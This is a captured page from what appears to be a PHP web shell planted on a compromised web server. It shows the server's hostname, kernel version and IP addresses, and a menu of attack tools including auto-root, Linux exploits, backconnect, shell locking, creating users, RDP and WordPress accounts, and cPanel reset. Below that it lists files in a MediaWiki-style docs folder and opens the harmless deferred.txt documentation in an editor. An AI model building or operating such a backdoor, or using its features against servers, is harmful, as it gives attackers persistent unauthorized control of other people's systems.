Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
code-coverage
[ DIR ]
drwxr-xr-x
databases
[ DIR ]
drwxr-xr-x
html
[ DIR ]
drwxr-xr-x
php-memcached
[ DIR ]
drwxr-xr-x
uidesign
[ DIR ]
drwxr-xr-x
README
607
B
-rw-r--r--
database.txt
8.78
KB
-rw-r--r--
deferred.txt
1.66
KB
-rw-r--r--
design.txt
5
KB
-rw-r--r--
distributors.txt
11.64
KB
-rw-r--r--
doxygen_first_page.php
477
B
-rw-r--r--
export-0.1.xsd
2.31
KB
-rw-r--r--
export-0.2.xsd
3.1
KB
-rw-r--r--
export-0.3.xsd
4.76
KB
-rw-r--r--
export-0.4.xsd
7.27
KB
-rw-r--r--
export-0.5.xsd
7.39
KB
-rw-r--r--
export-0.6.xsd
7.65
KB
-rw-r--r--
export-demo.xml
4.77
KB
-rw-r--r--
globals.txt
2.14
KB
-rw-r--r--
hooks.txt
93.68
KB
-rw-r--r--
language.txt
1.19
KB
-rw-r--r--
linkcache.txt
972
B
-rw-r--r--
magicword.txt
3.06
KB
-rw-r--r--
maintenance.txt
1.62
KB
-rw-r--r--
memcached.txt
8.18
KB
-rw-r--r--
schema.txt
359
B
-rw-r--r--
scripts.txt
2.8
KB
-rw-r--r--
skin.txt
3.31
KB
-rw-r--r--
title.txt
3.88
KB
-rw-r--r--
upload.txt
135
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : deferred.txt
deferred.txt A few of the database updates required by various functions here can be deferred until after the result page is displayed to the user. For example, updating the view counts, updating the linked-to tables after a save, etc. PHP does not yet have any way to tell the server to actually return and disconnect while still running these updates (as a Java servelet could), but it might have such a feature in the future. We handle these by creating a deferred-update object and putting those objects on a global list, then executing the whole list after the page is displayed. We don't do anything smart like collating updates to the same table or such because the list is almost always going to have just one item on it, if that, so it's not worth the trouble. Since 1.6 there is a 'job queue' in the jobs table, which is used to update link tables of transcluding pages after edits; this may be extended in the future to more general background tasks. Job queue items are fetched out of the queue and run either at a random rate during regular page views (by default) or by a batch process which can be run via maintenance/runJobs.php. Currently there are a few different types of jobs: refreshLinks Used to refresh the database tables that store the links between pages. When a page is changed, all pages using that page are also cleared by inserting a new job for all those pages. Each job refreshes only one page. htmlCacheUpdate Clear caches when a template is changed to ensure that changes can be seen. Each job clears $wgUpdateRowsPerJob pages (500 by default). enotifNotify Used when $wgEnotifUseJobQ is true to send mail using the job queue.
Close